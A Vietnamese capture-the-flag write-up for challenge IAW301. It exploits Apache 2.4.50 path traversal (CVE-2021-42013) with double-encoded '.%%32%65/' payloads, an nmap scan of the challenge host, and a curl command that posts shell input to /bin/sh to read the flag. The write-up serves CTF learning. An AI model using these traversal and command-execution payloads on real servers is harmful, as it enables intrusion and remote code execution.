Author: phucdc-noob
Link: github.com/phucdc-noob
IAW301
Đây là một challenge dễ, nhưng thật tiếc vì mình lú nên đã gõ sai một kí tự trong payload mà không biết :'( Xin úp mặt vào tường để tự kiểm điểm :'(
- Bắt đầu với challenge, ta được cung cấp 2 dữ liệu, file httpd.conf, và gợi ý về flag:
httpd.conf
là file config của Apache Server, truy cập vào file theo đường dẫn, mình nhận thấy có một số thứ hay ho:
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options None
Require all granted
</Directory>
Trong thời gian gần đây, có 2 CVE nổi tiếng liên quan đến 2 phiên bản của Apache và
cgi-bin
của nó, đó là CVE-2021-41773 (Apache 2.4.49) và CVE-2021-42013 (Apache 2.4.50), đặc điểm chung là lỗi trong việc normalize path ở fileutil.c
khiến tin tặc có thể sử dụngpath traversal
với payload thường thấy là/cgi-bin/../../../etc.passwd
, nhưng, vìutil.c
đã check dấu.
khi normalize path, nên chúng ta sẽ cần dùng tới những payload được encode như/.%2e/
thay cho/../
.Tất nhiên, giữa 2 CVE kể trên có sự khác nhau trong payload, vì vậy chúng ta cần check xem Apache đó thuộc phiên bản nào (nếu > 2.4.50 thì kiếp này coi như bỏ :'()
Mình thử check với câu lệnh
nmap
đơn giản sau:nmap -A -p8889 139.180.208.121 -vvv
Và có được kết quả:
PORT STATE SERVICE REASON VERSION 8889/tcp open http syn-ack Apache httpd 2.4.50 ((Unix)) | http-methods: | Supported Methods: HEAD GET POST OPTIONS TRACE |_ Potentially risky methods: TRACE |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.50 (Unix)
Như vậy là Apache 2.4.50, ta có thể dùng
%%32%65%%32%65/
hoặc.%%32%65/
thay thế cho../
Có một lưu ý là khi đọc
httpd.conf
, hãy để ý đến dòngScriptAlias
để biết liệu có alias nào thay chocgi-bin
không, ví dụ như trong bài này:ScriptAlias /nothingspecial/ "/usr/local/apache2/cgi-bin/"
Và để ý
DocumentRoot
như trong bài:DocumentRoot "/usr/local/apache2/htdocs"
Như vậy để truy cập được
/
thì ta cần 4 cặp../
, thay thế alias và 2 cách encode đã kể trên, ta có payload:/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag
Nhưng, như vậy liệu có đúng? Thử với
curl
và đây là kết quả:Thực tế có một cách khác, ta sẽ dùng đến
/bin/sh
và option--data
củacurl
để mở file, đơn giản như sau:curl 'http://139.180.208.121:8889/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo; cat ../flag'
Và đây là kết quả:
Flag:
FUSEC{970c5c12bc41fd2783748e73fccf99b0}
Xin lỗi cả team noname vì mỡ đến miệng rồi mà để tuột mất vì một dấu % thừa :'(